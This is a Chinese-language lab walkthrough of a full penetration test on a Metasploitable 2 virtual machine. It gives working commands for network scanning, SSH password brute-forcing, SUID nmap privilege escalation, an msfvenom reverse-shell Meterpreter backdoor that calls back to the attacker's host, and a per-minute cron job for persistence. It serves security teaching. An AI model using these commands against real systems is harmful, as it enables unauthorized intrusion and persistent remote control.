Linux 靶机渗透实战:从信息收集到权限维持(完整详细版)
本文记录了一次针对 Metasploitable 2 靶机的完整渗透测试过程。我们将从仅有网段信息开始,逐步发现目标、爆破 SSH 弱口令、利用 SUID 提权、植入木马并持久化,最终完全控制目标主机。每一步都附有详细命令和截图提示,适合初学者跟着复现。
1. 实验环境
这里我们来模拟一个环境,这个靶机我们是不知道具体的ip 但是我们知道他是在192.168.10.0/24网段,我们知道有一个普通用户,用户名是msfadmin,但是我们不知道密码。
| 角色 | 操作系统 | IP 地址 | 备注 |
|---|---|---|---|
| 攻击机 | Kali Linux | 192.168.10.224 | 使用 VMware 虚拟机,装有 nmap、msfconsole、hydra、msfvenom 等工具 |
| 靶机 | Metasploitable 2 | 192.168.10.143 | 已知用户名 msfadmin,密码未知,SSH 服务开启 |
网络要求:两台虚拟机处于同一虚拟网络(如 VMware NAT 或仅主机模式),确保可以互相 ping 通。
2. 信息收集
2.1 发现存活主机
由于我们只知道网段 192.168.10.0/24,我们需要找出哪些主机在线,然后推测哪一台是靶机。
bash
sudo nmap -sn 192.168.10.0/24
-sn:只做主机发现(ping 扫描),不扫描端口,速度快。
输出中会列出响应的 IP。假设我们发现 192.168.10.143 在线,且通过后续扫描确认开放了常用服务,确定为目标。

经过扫描后,我们判断这个192.168.10.143就是靶机ip,因为.1, .2都是vmware的,.224是本机kali的ip,.254是dns的地址。
2.2 端口与服务扫描
接下来对靶机进行全面的端口和服务版本扫描:
nmap -sS -sV -T4 -n -p- 192.168.10.143
-
-sS:SYN 半开扫描(需要 root 权限,速度快且隐蔽) -
-sV:探测服务版本 -
-T4:加快扫描速度(适合内网) -
-n:不进行 DNS 解析 -
-p-:扫描所有 65535 个端口

结果中我们看到 22/tcp open ssh OpenSSH 4.7p1,这表示 SSH 服务可用,版本较旧。已知用户名 msfadmin,可以尝试弱口令爆破。
我们拿到扫描结果了,下一步就可以去查阅资料了,看看这些端口服务这些有没有漏洞,然后一个一个尝试利用。现在ai这么发达,对于我们查阅资料更加方便了,但是不能完全依赖,ai+官方文档才是最正确的选择。下面是我通过问ai拿到的部分结果。

可以看到,现在查询信息还是很方便,可以通过ai然后自己去查查官方文档就可以了。
3. SSH 弱口令爆破
我们现在已经成功拿到了基本信息,现在我们已知用户名、ip等信息,我们第一步可以试试暴力破解,因为这不用利用漏洞,成本低回报高,一个好的密码字典几乎可以通杀所有,但是也不能全靠这个,毕竟暴力破解成功率不高,但是还是值得一试的。
3.1 使用 Metasploit 的 ssh_login 模块
msfconsole
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 > show options # 查看需要设置的参数

我们输入msfconsole后进入msf的页面,然后搜索ssh_login找到ssh的爆破工具,这里我们可以使用show options命令来查看参数,这还是很方便不用去记需要设置哪些,可以看到前面name就是要设置的参数;后面current setting是默认值如果不设置的话就是使用默认值;required就是表示是否是必须设置的,是yes就是必须设置,但是这个如果是有默认值并且默认值就是你想要的就可以不用设置;后面也有详细描述,仔细看看也能知道是干嘛的。这里我们需要设置我框起来的三个参数。PASS_FILE是密码字典,这里需要自己准备一个密码字典;RHOSTS就是设置目标主机ip,可以看到他是必须设置的,并且没有默认值;USERNAME就是要爆破的用户名,我们是已知的是msfaddmin。
设置目标、用户名和密码字典:
msf6 > set RHOSTS 192.168.10.143
msf6 > set USERNAME msfadmin
msf6 > set PASS_FILE /usr/share/wordlists/rockyou.txt # Kali 自带常用密码字典
msf6 > set THREADS 5
msf6 > run

我们设置好参数后输入run运行,如果你给的密码本里面有正确密码的话就能爆破成功,可以看到我这里成功爆破了,就看这里的绿色的加号这里,可以看到账户名msfadmin 密码也是msfadmin ,这就完成了爆破。爆破成功的关键就是密码本,一个好的密码本能大大提高爆破的成功率。这个密码本可以去网上找弱口令密码本、常用密码或者使用一些工具来生成一个密码本。
爆破成功后,我们得到密码就是 msfadmin。
3.2 直接登录
我们可以直接使用ssh来远程连接上

可以看到,输入密码后我们成功通过ssh远程连接到了靶机,弹出了对话框。由于这个对话框不是很方便我们来使用moba来远程连接。

在moba中我们也成功登录到了靶机。
4. 提权:从普通用户到 root
目前我们只是普通用户 msfadmin,这个权限是不够的,很多事情都是做不了的,所以我们要想办法提权到root。
Linux提权中我们首先有三个思路 通过SUID权限提权;通过sudo命令提权;通过软件漏洞提权。下面我们来试试能不能用SUID权限提权。
4.1 查找 SUID 文件
SUID(Set User ID)权限文件可以让普通用户以文件所有者的身份运行。如果某个程序属主是 root 且有 SUID 位,就可能被利用。所以我们要找到属主具有s权限并且属主是root的文件,我们可以用find命令来查找符合要求的文件。
find / -perm -4000 -type f 2>/dev/null
-
-perm -4000:匹配 SUID 位 -
-type f:只找普通文件 -
2>/dev/null:忽略权限拒绝的错误信息

我们发现 /usr/bin/nmap 具有 SUID 位且属主 root。Nmap 是一个网络扫描工具,它的早期版本支持交互模式,可以通过交互模式执行系统命令。我们使用ls命令看看这个文件。
ls -ld /usr/bin/nmap

从截图中可以看到这个文件是属主是root并且属主具有s权限。在位置环境中可能就需要查阅资料,看看是否有可以利用的程序。这个nmap只是在在早期版本可以实现提权,现在的版本已经远超可以触发提权的版本了。
4.2 利用 nmap 提权
nmap --interactive
进入交互模式后,输入 !sh 即可获得一个 shell。
nmap> !sh
此时提示符变为 #,表示已经是 root 权限。

我们输入命令后进入了nmap的交互窗口,然后输入!sh,可以看到变成了#,我们输入whoami,看到当前是root,使用touch命令试试在/root目录下创建文件,可以看到成功创建了的,说明我们成功通过nmap提权拿到了root权限。
原理:由于 nmap 以 SUID root 运行,其交互模式调用的 shell 也继承了 root 权限。这个nmap提权并不是因为漏洞,而是因为权限配置不当导致能够提权到root,所以工作中对于权限的管理是很重要的。
4.3 (可选)修改 root 密码
在提权后的 shell 中,我们可以直接修改 root 密码。注意:通过 nmap --interactive 获得的 shell 环境可能不完整,直接运行 passwd 可能会报错。这时可以用 sudo passwd root:
sudo passwd root
然后输入两次新密码。

5. 生成并植入 Linux 后门
现在我们已经拥有 root 权限,可以植入一个长期后门,以便随时连接。
5.1 使用 msfvenom 生成反向 TCP 木马
在 Kali 中生成一个 64 位 Linux 的反向 Meterpreter 木马:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.10.224 LPORT=4444 -f elf -o shell.elf
-
-p:指定 payload(反向 TCP Meterpreter) -
LHOST:攻击机 IP(你的 Kali) -
LPORT:监听端口 -
-f elf:输出 ELF 可执行文件格式 -
-o shell.elf:输出文件名

这里我们使用的反向连接,这个相比于正向连接更加隐蔽,因为防火墙对于外部连接进来的比较敏感,但是一般从内部连接出去的就不那么严格,成功率更高。可以看得到我们成功生成了一个这样的木马,使用ls命令查看也能成功看到木马生成成功。
5.2 上传木马到靶机
我们成功生成了木马,下一步我们就要将木马上传到靶机了,使用scp命令即可。
使用 scp 命令将木马传到靶机的 /mnt 目录(任何可写目录均可):
scp shell.elf root@192.168.10.143:/mnt/

执行上传命令后可以看到我们成功上传了木马,然后在靶机执行ls命令可以看到我们确实上传好了。
5.3 赋予执行权限
上传了木马需要确保木马可执行,有执行权限。我们可以先来看看shell权限状态。

可以看到现在属主属组其他用户都没有执行权限,现在我们需要给所有用户添加执行权限。
在靶机 SSH 会话中执行:
chmod a+x /mnt/shell

执行完命令后再次使用ls命令来查看权限,可以看到,所有的用户都已经添加了执行权限。
6. 权限维持:计划任务使木马每分钟运行
为了确保木马在系统重启或进程被结束后依然能复活,我们可以设置计划任务(crontab)每隔一分钟执行一次。
在靶机中编辑 root 的 crontab:
EDITOR=vim crontab -e
- 五个星号分别代表:分钟、小时、日、月、星期,
* * * * *表示每分钟执行一次。
保存退出。然后可以用 crontab -l 查看已添加的任务。

执行命令后保存就成功添加了计划任务,表示每分钟运行一次木马。
7. 在 Kali 中监听并获取会话
所有的前置工作我们都完成了,接下来我们就需要用kali连接了
在 Kali 中启动 Metasploit 的 multi/handler 监听器,等待木马主动连接。
msfconsole
msf6 > use exploit/multi/handler
msf6 > set payload linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.10.224
msf6 > set LPORT 4444
msf6 > run
耐心等待最多一分钟(因为计划任务每分钟运行一次)。当靶机执行 shell.elf 后,监听器会收到会话。
(此处插入截图:监听器显示 Meterpreter session 1 opened)
进入会话后,确认权限:
meterpreter > getuid
Server username: root

至此,我们成功实现了远程控制,并且该后门会在每分钟自动重连,即使靶机重启也会因为 crontab 而再次活跃。
补充:这个木马并不会提权的,不是直接拿到root,是谁运行他他就拿到什么权限,但是如果是通过计划任务运行的就会拿到root,因为我们在做实验的时候是通过root来进行的计划任务的编辑,计划任务执行的时候就会拿到root权限,如果是普通用户编辑的计划任务的话,木马运行就只能拿到普通用户权限。
8. 总结
本次渗透测试完整走完了以下攻击链:
-
信息收集:Nmap 发现存活主机和开放端口(22 SSH)。
-
初始访问:通过 SSH 弱口令爆破获得普通用户
msfadmin的 shell。 -
提权:利用 SUID 的 nmap 程序获得 root 权限。
-
植入后门:生成 Linux Meterpreter 木马并上传至靶机。
-
权限维持:设置 crontab 每分钟执行木马,确保持久化控制。
-
远程控制:通过 Metasploit 监听器获得 root 权限的 Meterpreter 会话。
通过本次实验,加深了对 Linux 渗透测试流程的理解,也为后续学习红队技术打下基础。你可以在此基础上尝试使用其他提权方法(如 sudo 配置不当、Cron 任务劫持等),或使用更隐蔽的持久化手段(如 systemd 服务、SSH 公钥等)。
原创作者:浅了
实验环境:Kali Linux 2023 + Metasploitable 2(VMware)
更多推荐



所有评论(0)